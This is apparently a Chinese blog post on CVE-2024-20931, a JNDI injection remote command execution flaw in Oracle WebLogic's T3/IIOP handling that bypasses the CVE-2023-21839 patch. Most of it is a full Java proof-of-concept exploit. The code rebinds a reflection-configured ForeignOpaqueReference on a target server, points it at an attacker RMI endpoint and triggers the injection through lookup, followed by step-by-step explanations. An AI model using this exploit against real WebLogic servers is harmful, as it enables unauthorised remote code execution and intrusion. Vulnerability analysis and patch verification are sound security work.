CVE-2024-20931 Oracle 一个基于Weblogic T3\IIOP协议的远程命令执行漏洞

在Oracle官方最新发布的2024年1月补丁中,成功修复了一个基于Weblogic T3\IIOP协议的远程命令执行漏洞CVE-2024-20931。此漏洞在2023年10月向Oracle报告的,本质上是CVE-2023-21839补丁的一种绕过,牵涉到一个新的JNDI攻击面。

CVE-2024-20931漏洞概述:

在WebLogic中存在一个名为ForeignOpaqueReference的对象,其getReferent函数在远程对象查询时再次发起JNDI查询,导致了JNDI注入。

目前已经公布了一个POC:

https://github.com/GlassyAmadeus/CVE-2024-20931/blob/main/CVE_2024_20931.java

package com.supeream;

import weblogic.deployment.jms.ForeignOpaqueReference;

import javax.naming.Context;
import javax.naming.InitialContext;
import java.lang.reflect.Field;
import java.util.Hashtable;

public class CVE_2024_209321 {
    public static void main(String[] args) throws Exception {
        String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";

        // 创建用来远程绑定对象的InitialContext
        String url = "t3://127.0.0.1:7001"; // 目标机器
        Hashtable env1 = new Hashtable();
        env1.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env1.put(Context.PROVIDER_URL, url); // 目标
        InitialContext c = new InitialContext(env1);

        // ForeignOpaqueReference的jndiEnvironment属性
        Hashtable env2 = new Hashtable();
        env2.put("java.naming.factory.initial", "oracle.jms.AQjmsInitialContextFactory");
        env2.put("datasource", "rmi://127.0.0.1:1099/ygevmj");

        // ForeignOpaqueReference的jndiEnvironment和remoteJNDIName属性
        ForeignOpaqueReference f = new ForeignOpaqueReference();
        Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
        jndiEnvironment.setAccessible(true);
        jndiEnvironment.set(f, env2);
        Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
        remoteJNDIName.setAccessible(true);
        String ldap = "rmi://127.0.0.1:1099/ygevmj";
        remoteJNDIName.set(f, ldap);

        // 远程绑定ForeignOpaqueReference对象
        c.rebind("glassy", f);

        // lookup查询ForeignOpaqueReference对象
        try {
            c.lookup("glassy");
        } catch (Exception e) {
        }
    }
}
  • 引入了weblogic.deployment.jms.ForeignOpaqueReference类,该类是利用CVE-2024-20931漏洞的关键部分,用于进行JNDI注入。

  • 创建了一个InitialContext对象,用于远程绑定对象。

  • 设置了ForeignOpaqueReference的jndiEnvironment属性,其中包含了用于JNDI注入的关键设置,如java.naming.factory.initial和datasource。

  • 设置了ForeignOpaqueReference的remoteJNDIName属性,指定了RMI服务的位置。

  • 使用InitialContext对象的rebind方法将构造的ForeignOpaqueReference对象远程绑定到WebLogic服务器上。

  • 尝试使用lookup方法查询远程绑定的ForeignOpaqueReference对象,触发JNDI注入。

参考下面文章:

JNDI注入的一种新攻击面-CVE-2024-20931分析 | Glassy@Amadeus's Zone

评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值